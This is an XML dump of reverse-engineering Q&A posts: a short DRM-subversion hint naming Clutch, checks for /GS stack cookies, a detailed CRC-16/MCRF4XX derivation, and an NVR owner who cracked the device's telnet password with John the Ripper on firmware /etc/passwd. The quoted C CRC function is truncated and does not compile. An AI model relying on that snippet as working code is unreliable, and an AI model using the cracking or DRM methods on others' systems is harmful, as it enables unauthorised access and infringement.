  <row Id="6705" PostTypeId="2" ParentId="6678" CreationDate="2014-11-24T17:36:17.423" Score="0" Body="&lt;p&gt;The general process is to have the official DRM decrypt what you want and the grab it. Clutch does this on iOS. Decompiling is a separate topic, as big if not bigger than the DRM subversion.&lt;/p&gt;&#xA;" OwnerUserId="4700" LastActivityDate="2014-11-24T17:36:17.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6706" PostTypeId="2" ParentId="6667" CreationDate="2014-11-24T17:39:21.880" Score="1" Body="&lt;p&gt;X to cross reference and see where it's written. The decision to do that might be dynamic enough to evade initial auto analysis in which case run the code and set a watchpoint.&lt;/p&gt;&#xA;" OwnerUserId="4700" LastActivityDate="2014-11-24T17:39:21.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6707" PostTypeId="2" ParentId="6648" CreationDate="2014-11-24T17:43:23.753" Score="1" Body="&lt;p&gt;Memory is mapped in pages, so if you want data that isn't page-aligned in memory, there'll be a world of either random data (in the case that pages were mapped without zeroing enabled, possible on some platforms) or zeros. From the address I'd say that hopper has identified that your executable has sections that will load at a given address but that the remainder of the page will be zeros. If there is data after it but before the end of the page then it's a buffer, could be used for runtime decryption or anything else in fact.&lt;/p&gt;&#xA;" OwnerUserId="4700" LastActivityDate="2014-11-24T17:43:23.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6708" PostTypeId="1" AcceptedAnswerId="6709" CreationDate="2014-11-24T18:14:42.857" Score="3" ViewCount="2709" Body="&lt;p&gt;I have to check massive amount of binaries whether they were compiled with the &lt;code&gt;/GS&lt;/code&gt; option. I assume a good indicator would be to check if they have stack cookie or not. Do you know any tool that can do this, or any tool that I could build into a script, so I don't have to do it manually?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Edit&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://technet.microsoft.com/en-us/library/ee672187.aspx&quot; rel=&quot;nofollow&quot;&gt;Found&lt;/a&gt; &lt;a href=&quot;http://www.microsoft.com/en-us/download/details.aspx?id=44995&quot; rel=&quot;nofollow&quot;&gt;Binscope&lt;/a&gt;, I'll check if it's capable to check more binaries at the same time or it's scriptable.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Edit2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It requires debug symbols, so this is not a solution.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Edit3&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/NetSPI/PEchecker&quot; rel=&quot;nofollow&quot;&gt;https://github.com/NetSPI/PEchecker&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2354" LastEditorUserId="2354" LastEditDate="2015-04-23T15:31:08.233" LastActivityDate="2015-04-23T15:31:08.233" Title="Check if binary was compiled with security checks (/GS)" Tags="|windows|tools|binary-analysis|software-security|stack-variables|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6709" PostTypeId="2" ParentId="6708" CreationDate="2014-11-24T18:44:17.340" Score="5" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;you can check the &lt;a href=&quot;http://mingw-w64.sourcearchive.com/documentation/2.0-1/ntimage_8h_source.html#l00107&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;IMAGE_LOAD_CONFIG_DIRECTORY&lt;/code&gt;&lt;/a&gt; structure, it has a field for the pointer to &lt;code&gt;SecurityCookie&lt;/code&gt;'s value in the image.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In very old binaries, this structure might be not used, or &lt;code&gt;SecurityCookie&lt;/code&gt; RVA is 0 even though the binary may be using &lt;code&gt;/GS&lt;/code&gt;. In such case you can scan for the characteristic code signature of the &lt;code&gt;@__security_check_cookie@4&lt;/code&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3B0D........7501C3E9 (VC7)  &#xA;3B0D........0F85........C3 (VC7?)  &#xA;3B0D........7502F3C3E9 (VC8+)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;you can also scan for the initial cookie value (&lt;code&gt;BB40E64E&lt;/code&gt;) in the binary. Though I guess this might produce some false positives.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastEditorUserId="53" LastEditDate="2014-11-24T22:11:39.630" LastActivityDate="2014-11-24T22:11:39.630" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6710" PostTypeId="2" ParentId="6644" CreationDate="2014-11-25T02:28:07.223" Score="6" Body="&lt;p&gt;I figured it out! Some of the comments on this web site made me go back and think harder - actually to think differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought that I should post the analysis that I did on these messages to try to determine the CRC algorighm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My analysis is based on a paper written by Greg Ewing &lt;a href=&quot;http://www.cosc.canterbury.ac.nz/greg.ewing/essays/CRC-Reverse-Engineering.html&quot; rel=&quot;noreferrer&quot;&gt;http://www.cosc.canterbury.ac.nz/greg.ewing/essays/CRC-Reverse-Engineering.html&lt;/a&gt; . He presented a lot of insights in that paper. I won't repeat what he wrote except to summarize and explain my results using his method. So follow along with his paper as I present my data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He showed that CRC's &quot;obey a kind of superposition principle. You can think of the CRC as being made up of the exclusive-or of a set of component CRCs, each of which depends on just one bit in the message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He showed where, for the case of XorIn = XorOut = 0x0000, that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C1 xor C2 = M1 xor M2&#xA;where:&#xA;    Cx = CRC&#xA;    Mx = equal length messages&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He called &quot;M1 xor M2&quot; a difference message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Greg wrote: &quot;Then I got into a conversation with Patrick Maupin, who suggested a test that might help to clarify whether it was a true CRC or not. Due to the superposition principle, if changing a message by xoring it with a bit pattern B1 causes its CRC to change by C1, and another bit pattern B2 causes the CRC to change by C2, then xoring the message with (B1 xor B2) should change the CRC by (C1 xor C2). If that doesn't happen, the algorithm can't be an ordinary CRC algorithm.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using these 4 message from the transmitter to receiver bit stream:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;                                    CRC&#xA;                                  LSB  MSB&#xA;   ---- ---- ---- ---- ---- ---- ---- ----&#xA;M0 0x00 0x09 0x69 0x31 0x00 0x03 0xBA 0xDE&#xA;M1 0x00 0x09 0x69 0x31 0x01 0x03 0x01 0xC2&#xA;M2 0x00 0x09 0x69 0x31 0x02 0x03 0xCC 0xE7&#xA;M3 0x00 0x09 0x69 0x31 0x03 0x03 0x77 0xFB&#xA;   ---- ---- ---- ---- ---- ---- ---- ----&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;                                    CRC&#xA;                                  LSB  MSB&#xA;   ---- ---- ---- ---- ---- ---- ---- ----&#xA;M0 0x00 0x09 0x69 0x31 0x00 0x03 0xBA 0xDE&#xA;B1 0x00 0x00 0x00 0x00 0x01 0x00&#xA;   ------------ XOR ------------&#xA;M1 0x00 0x09 0x69 0x31 0x01 0x03 0x01 0xC2   &#xA;&#xA;C1 = 0xDEBA xor 0xC201 = 0x1CBB&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and another bit pattern B2 causes the CRC to change by C2,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;                                    CRC&#xA;                                  LSB  MSB&#xA;   ---- ---- ---- ---- ---- ---- ---- ----&#xA;M0 0x00 0x09 0x69 0x31 0x00 0x03 0xBA 0xDE&#xA;B2 0x00 0x00 0x00 0x00 0x02 0x00&#xA;   ------------ XOR ------------&#xA;M2 0x00 0x09 0x69 0x31 0x02 0x03 0xCC 0xE7&#xA;&#xA;C2 = 0xDEBA xor 0xE7CC = 0x3976&#xA;&#xA;C1 xor C2 = 0x1CBB xor 0x3976 = 0x25CD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then xoring the packet with B3 = (B1 xor B2) should change the CRC by C3 = (C1 xor C2).&#xA;If that doesn't happen, the algorithm can't be an ordinary CRC algorithm.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;                                    CRC&#xA;                                  LSB  MSB&#xA;   ---- ---- ---- ---- ---- ---- ---- ----&#xA;B1 0x00 0x00 0x00 0x00 0x01 0x00&#xA;B2 0x00 0x00 0x00 0x00 0x02 0x00&#xA;   ------------ XOR ------------&#xA;&#xA;B3 0x00 0x00 0x00 0x00 0x03 0x00&#xA;&#xA;M0 0x00 0x09 0x69 0x31 0x00 0x03 0xBA 0xDE&#xA;B3 0x00 0x00 0x00 0x00 0x03 0x00&#xA;   ------------ XOR ------------&#xA;M3 0x00 0x09 0x69 0x31 0x03 0x03 0x77 0xFB&#xA;&#xA;C3 = 0xDEBA xor 0xFB77 = 0x25CD&#xA;&#xA;Does C3 = 0x25CD == C1 XOR C2 = 0x25CD  ? Yes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the case of the this serial stream, it happens so it must be an ordinary CRC algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Greg wrote: &quot;Now consider two CRC values obtained from two 1-bit messages, where the 1 bits are in adjacent positions. The resulting CRCs will differ by just one shift-xor cycle. To be precise, if C1 corresponds to the message with a 1 in position i, and C2 corresponds to the message with a 1 in position i+1, then C1 is derived from applying one shift-xor cycle to C2. (If this seems backwards, it's because the further the 1 bit is from the end of the message, the more shift-xor cycles get applied to the CRC.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two possibilities. If the leading bit of C2 (the one about to be shifted out) is 0, then C1 will be equal to C2 shifted by one place. If it is 1, then C2 will be equal to C1 shifted one place and xored with the polynomial.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I constructed several difference messages that differed in only one bit using the data from my first posting here.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;                                     CRC&#xA;                                  LSB  MSB&#xA;    ---- ---- ---- ---- ---- ---- ---- ----&#xA;M0  0x00 0x09 0x69 0x31 0x00 0x03 0xBA 0xDE&#xA;M1  0x00 0x09 0x69 0x31 0x01 0x03 0x01 0xC2&#xA;    ---- ---- ---- ---- ---- ---- ---- ---- &#xA;D01    0    0    0    0 0x01    0 0xBB 0x1C &#xA;&#xA;    ---- ---- ---- ---- ---- ---- ---- ----&#xA;M0  0x00 0x09 0x69 0x31 0x00 0x03 0xBA 0xDE&#xA;M2  0x00 0x09 0x69 0x31 0x02 0x03 0xCC 0xE7&#xA;    ---- ---- ---- ---- ---- ---- ---- ----  &#xA;D02    0    0    0    0 0x02    0 0x76 0x39&#xA;&#xA;    ---- ---- ---- ---- ---- ---- ---- ----&#xA;M0  0x00 0x09 0x69 0x31 0x00 0x03 0xBA 0xDE&#xA;M3  0x00 0x09 0x69 0x31 0x04 0x03 0x56 0xAC&#xA;    ---- ---- ---- ---- ---- ---- ---- ---- &#xA;D04    0    0    0    0 0x04    0 0xEC 0x72 &#xA;&#xA;    ---- ---- ---- ---- ---- ---- ---- ----&#xA;M0  0x00 0x09 0x69 0x31 0x00 0x03 0xBA 0xDE&#xA;m8  0x00 0x09 0x69 0x31 0x08 0x03 0x62 0x3B&#xA;    ---- ---- ---- ---- ---- ---- ---- ---- &#xA;D08    0    0    0    0 0x08    0 0xD8 0xE5&#xA;&#xA;    ---- ---- ---- ---- ---- ---- ---- ----&#xA;M0  0x00 0x09 0x69 0x31 0x00 0x03 0xBA 0xDE&#xA;M10 0x00 0x09 0x69 0x31 0x10 0x03 0x1B 0x1D&#xA;    ---- ---- ---- ---- ---- ---- ---- ----&#xA;D10    0    0    0    0 0x10    0 0xA1 0xC3&#xA;&#xA;    ---- ---- ---- ---- ---- ---- ---- ----&#xA;M0  0x00 0x09 0x69 0x31 0x00 0x03 0xBA 0xDE&#xA;M20 0x00 0x09 0x69 0x31 0x20 0x03 0xE9 0x51&#xA;    ---- ---- ---- ---- ---- ---- ---- ----&#xA;D20    0    0    0    0 0x20    0 0x53 0x8f&#xA;&#xA;    ---- ---- ---- ---- ---- ---- ---- ----&#xA;M0  0x00 0x09 0x69 0x31 0x00 0x03 0xBA 0xDE&#xA;M40 0x00 0x09 0x69 0x31 0x40 0x03 0x0D 0xC8&#xA;    ---- ---- ---- ---- ---- ---- ---- ----&#xA;D40    0    0    0    0 0x40    0 0xB7 0x16&#xA;&#xA;    ---- ---- ---- ---- ---- ---- ---- ----&#xA;M0  0x00 0x09 0x69 0x31 0x00 0x03 0xBA 0xDE&#xA;M80 0x00 0x09 0x69 0x31 0x80 0x03 0xD4 0xF3&#xA;    ---- ---- ---- ---- ---- ---- ---- ---- &#xA;D80    0    0    0    0 0x80    0 0x6e 0x2d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I came up with these CRC values for the difference messages with the byte shown:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;Byte    CRC (with byte swap to MSB-LSB order)&#xA;-----   ----&#xA;01  1CBB            &#xA;02  3976    LSB of CRC = 0&#xA;04  72EC    LSB of CRC = 0&#xA;08  E5D8    LSB of CRC = 0&#xA;10  C3A1    LSB of CRC = 1&#xA;20  8F53    LSB of CRC = 1&#xA;40  16b7    LSB of CRC = 1&#xA;80  2d6e    Lsb of CRC = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Greg explained that when the LSB is a 0, the preceding CRC is one bit right shift of this CRC. If the LSB is a 1 then the preceeding CRC is the current CRC xor'ed with the polynomial and then right shifted.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;Byte    CRC shift   xor Previous CRC&#xA;-----   ----    ----    ----    ----&#xA;01  1CBB            &#xA;02  3976    1CBB    0000    1CBB&#xA;04  72EC    3976    0000    3976&#xA;08  E5D8    72EC    0000    72EC&#xA;10  C3A1    61D0    8408    E5D8&#xA;20  8F53    47A9    8408    C3A1&#xA;40  16b7    0B5B    8408    8F53&#xA;80  2d6e    16B7    0000    16b7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This told me that the polynomial was 0x8408.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next sentence paraphrases what Greg wrote: &quot;The shifting direction indicates that the ReflectOut parameter should be True, since shifting to the right is equivalent to using the canonical left-shifting version of the algorithm with the polynomial 0x1021 and then reflecting the resulting CRC. It is notable that 0x1021 is one of the standard 16-bit polynomials -- the one that called &quot;CRC-16-CCITT&quot;and also known as &quot;KERMIT&quot;.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So Greg has helped me get pretty far along with my analysis. It sure looks like its a CRC and its most likely CRC-16-CCITT or Kermit (at least if init = XorOut = 0x0000).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, of course, when I tried running my messages through RevEng and asking it to use the KERMIT algorithm, the actual CRC's from the messages did not match what RevEng generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, using D01 message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;d:&gt;reveng -c -m kermit 000000000100      returns   d819&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Greg's analysis of his problem indicated that there might some bytes included in the CRC calculation that are not apparent. In Greg's case, he wrote : &quot;I came up with the following idea. Start by initialising the register with the polynomial -- this corresponds to the state just after encountering the 1 in a 1-bit difference message. Then run the algorithm and count the number of steps required before the known CRC value is reached. Assuming it was eventually reached, that would tell me how many 0 bits following the 1 were included in the CRC.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I said maybe this would work for me. So I added 00 bytes to the end of message D01:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;d:&gt;reveng -c -m kermit 00000000010000     returns dc5a&lt;/p&gt;&#xA;&#xA;&lt;p&gt;d:&gt;reveng -c -m kermit 0000000001000000   returns bb1c&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WOW, 0xbb1c is the CRC value that I get when I xor the two actual CRC's from M0 and M1. (I can add 0x00 bytes to the difference message if the actual bytes in the actual messages are the same and are 0x00 after they are xor'ed into the difference message. And I need to remember that this analysis still requires that init and XorOut are zero and that might not be case in the actual algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I spent about a year (no, not full time) trying to find the value of the extra bytes. I wrote a progam which&#xA;tried all combinations of extra bytes but I their values jumped all over. I'm going to leave out everything I did trying to find the extra bytes. It was a dead end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** This is were I was when I posted my problem description on this web page. **&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I still didn't have the right data bytes in the right position or maybe the assumption that init = XorOut = 0x0000 was not true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I decided to try more messages. I made up a bunch of messages where I could control value of the 2nd byte. Here are the  messages that I was able to generate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;                                                  CRC&#xA;                                                LSB  MSB&#xA;   ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----&#xA;   0x00 0x02 0x77 0x32                0x97 0x13 0x22 0x8D        &#xA;   0x00 0x04 0x77 0x32                0x97 0x13 0x14 0xE8&#xA;   0x00 0x08 0x77 0x32                0x97 0x13 0x78 0x22&#xA;   0x00 0x10 0x77 0x32                0x97 0x13 0xB1 0xBE&#xA;   0x00 0x20 0x77 0x32                0x97 0x13 0x32 0x8F&#xA;   0x00 0x40 0x77 0x32                0x97 0x13 0x34 0xEC&#xA;   0x00 0x06 0x77 0x32                0x97 0x13 0x06 0xCB&#xA;   0x00 0x0A 0x77 0x32                0x97 0x13 0x6A 0x01&#xA;   0x00 0x12 0x77 0x32                0x97 0x13 0xA3 0x9D&#xA;   0x00 0x22 0x77 0x32                0x97 0x13 0x20 0xAC&#xA;   0x00 0x42 0x77 0x32                0x97 0x13 0x26 0xCF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here are the difference messages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;                                                  CRC&#xA;                                                LSB  MSB&#xA;     ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----&#xA;M02a 0x00 0x02 0x77 0x32                0x97 0x13 0x22 0x8D&#xA;M03a 0x00 0x03 0x77 0x32                0x97 0x13 0xAB 0x9C&#xA;     ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----&#xA;D01a 0x00 0x01 0x00 0x00                0x00 0x00 0x89 0x11&#xA;&#xA;                                                LSB  MSB&#xA;   ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----&#xA;   0x00 0x04 0x77 0x32                0x97 0x13 0x14 0xE8&#xA;   0x00 0x06 0x77 0x32                0x97 0x13 0x06 0xCB&#xA;   ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----&#xA;   0x00 0x02 0x00 0x00                0x00 0x00 0x12 0x23&#xA;&#xA;                                                LSB  MSB&#xA;   ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----&#xA;   0x00 0x02 0x77 0x32                0x97 0x13 0x22 0x8D&#xA;   0x00 0x06 0x77 0x32                0x97 0x13 0x06 0xCB&#xA;   ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----&#xA;   0x00 0x04 0x00 0x00                0x00 0x00 0x24 0x46&#xA;&#xA;                                                LSB  MSB&#xA;   ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----&#xA;   0x00 0x02 0x77 0x32                0x97 0x13 0x22 0x8D&#xA;   0x00 0x0A 0x77 0x32                0x97 0x13 0x6A 0x01&#xA;   ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----&#xA;   0x00 0x08 0x00 0x00                0x00 0x00 0x48 0x8C&#xA;&#xA;                                                LSB  MSB&#xA;   ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----&#xA;   0x00 0x02 0x77 0x32                0x97 0x13 0x22 0x8D&#xA;   0x00 0x12 0x77 0x32                0x97 0x13 0xA3 0x9D&#xA;   ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----&#xA;   0x00 0x10 0x00 0x00                0x00 0x00 0x81 0x10&#xA;&#xA;                                                LSB  MSB&#xA;   ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----&#xA;   0x00 0x02 0x77 0x32                0x97 0x13 0x22 0x8D&#xA;   0x00 0x22 0x77 0x32                0x97 0x13 0x20 0xAC&#xA;   ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----&#xA;   0x00 0x20 0x00 0x00                0x00 0x00 0x02 0x21&#xA;&#xA;                                                LSB  MSB&#xA;   ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----&#xA;   0x00 0x02 0x77 0x32                0x97 0x13 0x22 0x8D&#xA;   0x00 0x42 0x77 0x32                0x97 0x13 0x26 0xCF&#xA;   ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----&#xA;   0x00 0x40 0x00 0x00                0x00 0x00 0x04 0x42&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I did the same analysis on the CRC words and came up with the same polynominal as before : 0x8408 or when shifted the other direction, 0x1021&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;Byte    CRC (with byte swap to MSB-LSB order)&#xA;-----   ----&#xA;0x01    1189&#xA;0x02    2312    LSB of CRC = 0&#xA;0x04    4624    LSB of CRC = 0&#xA;0x08    8C48    LSB of CRC = 0&#xA;0x10    1081    LSB of CRC = 1&#xA;0x20    2102    LSB of CRC = 0&#xA;0x40    4204    LSB of CRC = 0&#xA;&#xA;&#xA;Byte    CRC shift   xor Previous CRC&#xA;-----   ----    ----    ----    ----&#xA;0x01    1189&#xA;0x02    2312    1189    0000    1189&#xA;0x04    4624    2312    0000    2312&#xA;0x08    8C48    4624    0000    4624&#xA;0x10    1081    0840    8408    8C48    &#xA;0x20    2102    1081    0000    1081&#xA;0x40    4204    2102    0000    2102&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here are all of the RockSoft CRC models with this poly, I need to think past Kermit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;width=16  poly=0x1021  init=0x0000  refin=false  refout=false  xorout=0x0000  check=0x31c3  name=&quot;XMODEM&quot;&#xA;width=16  poly=0x1021  init=0x0000  refin=true  refout=true  xorout=0x0000  check=0x2189  name=&quot;KERMIT&quot;&#xA;width=16  poly=0x1021  init=0x1d0f  refin=false  refout=false  xorout=0x0000  check=0xe5cc  name=&quot;CRC-16/AUG-CCITT&quot;&#xA;width=16  poly=0x1021  init=0x89ec  refin=true  refout=true  xorout=0x0000  check=0x26b1  name=&quot;CRC-16/TMS37157&quot;&#xA;width=16  poly=0x1021  init=0xb2aa  refin=true  refout=true  xorout=0x0000  check=0x63d0  name=&quot;CRC-16/RIELLO&quot;&#xA;width=16  poly=0x1021  init=0xc6c6  refin=true  refout=true  xorout=0x0000  check=0xbf05  name=&quot;CRC-A&quot;&#xA;width=16  poly=0x1021  init=0xffff  refin=false  refout=false  xorout=0x0000  check=0x29b1  name=&quot;CRC-16/CCITT-FALSE&quot;&#xA;width=16  poly=0x1021  init=0xffff  refin=false  refout=false  xorout=0xffff  check=0xd64e  name=&quot;CRC-16/GENIBUS&quot;&#xA;width=16  poly=0x1021  init=0xffff  refin=true  refout=true  xorout=0x0000  check=0x6f91  name=&quot;CRC-16/MCRF4XX&quot;&#xA;width=16  poly=0x1021  init=0xffff  refin=true  refout=true  xorout=0xffff  check=0x906e  name=&quot;X-25&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I noticed something with this newest set of messages. The two extra bytes were not needed to get the correct CRC for the difference messages if I just used the first byte and left off the other 0x00 bytes. Using RevEng on message D01a:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;D:&gt;reveng -s -w 16 018911&#xA;width=16  poly=0x1021  init=0x0000  refin=true  refout=true  xorout=0x0000  check=0x2189  name=&quot;KERMIT&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I realized that if I feed the message into the CRC generator in reverse byte order, my original D01 message&#xA;generated the correct CRC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;D:&gt;reveng -c -m kermit 01000000&#xA;bb1c&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So these bytes that I thought were extra bytes were really just bytes of the message but the message was to be processed in reverse byte order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could this be true?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took M02a and M03a, and fed them into RevEng in reverse byte order:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;D:&gt;reveng -s -w 16 1397327702228d&#xA;width=16  poly=0x1021  init=0xffff  refin=true  refout=true  xorout=0x0000  check=0x6f91  name=&quot;CRC-16/MCRF4XX&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;D:&gt;reveng -s -w 16 1397327703ab9c&#xA;width=16  poly=0x1021  init=0xffff  refin=true  refout=true  xorout=0x0000  check=0x6f91  name=&quot;CRC-16/MCRF4XX&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what fell out amazed me, init was all ones and the algorithm had the same poly that I previously found. The algorithm was from MCRF4xx communications (which now I see makes sense because the RS-232 line that I'm tracing replaced an RF connection).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MCRF4xx is an RFID protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The message is taken as one long set of bits so that the last byte is processed first and the first byte is processed last. The 0x00 byte at the beginning of message is not used. With init = 0xffff, the MCRF4xx algorithm will detect extra or missing leading zeros.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this algorithm on a couple dozen of the messages and it gets the correct CRC every time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a snipit of code that I found at &lt;a href=&quot;http://www.snip2code.com/Snippet/86260/Simple-CRC-16-MCRF4XX-C-implementation-&quot; rel=&quot;noreferrer&quot;&gt;http://www.snip2code.com/Snippet/86260/Simple-CRC-16-MCRF4XX-C-implementation-&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;    #include &#xA;    #include &#xA;&#xA;    uint16_t crc16_mcrf4xx(uint16_t crc, uint8_t *data, size_t len)&#xA;    {&#xA;    if (!data || len &gt; 1) ^ 0x8408;&#xA;            else crc = (crc &gt;&gt; 1);&#xA;            }&#xA;        }&#xA;    return crc;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A web page on the RevEng site, points to some documents about MCRF4xx: &lt;a href=&quot;http://reveng.sourceforge.net/crc-catalogue/16.htm&quot; rel=&quot;noreferrer&quot;&gt;http://reveng.sourceforge.net/crc-catalogue/16.htm&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to everyone who sent positive energy my way.&lt;/p&gt;&#xA;" OwnerUserId="10028" LastActivityDate="2014-11-25T02:28:07.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6713" PostTypeId="1" CreationDate="2014-11-25T17:17:40.583" Score="1" ViewCount="306" Body="&lt;p&gt;I have a network video recorder - the Swann NVR8-7085.  It had telnet enabled and I managed to figure out the user/pass to get in (I downloaded the firmware from the site, extracted the squashfs filesystem, and set John the Ripper on /etc/passwd).  Once telnet'd in, I started poking around and looking at the mounted partitions.  It seems like the disk has a small partition at &lt;code&gt;/dev/sdb1&lt;/code&gt; that holds the BusyBox OS.  The rest of the disk is held in &lt;code&gt;/dev/sdb2&lt;/code&gt;, which is not mounted nor has any identifiable file system as far as I can tell.  It's roughly 992GB, so I think the video files are stored there.  Since the device doesn't have a file system nor is it mounted, I'm guessing the DVR software writes raw byte streams to it from the cameras.  On &lt;code&gt;/dev/sdb1&lt;/code&gt; there are files that correspond to timestamps of captured video I think:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# pwd&#xA;/mnt/sdb/00/2014/10/26&#xA;# ls -1&#xA;0020141026005959&#xA;0020141026020000&#xA;0020141026025959&#xA;0020141026040000&#xA;0020141026050000&#xA;0020141026054108&#xA;etc...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Those files seem to be where some record of the recorded videos are.  But they're not easily readable.  I opened them up in a hexeditor and I'm not sure what to look for.  I'm happy to share one but it's a few KB.  Not sure if I should copy-paste it here.  Any suggestions where to go from here?&lt;/p&gt;&#xA;" OwnerUserId="8472" LastActivityDate="2014-11-25T17:17:40.583" Title="Reversing raw byte storage scheme on BusyBox-based network video recorder" Tags="|file-format|hex|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
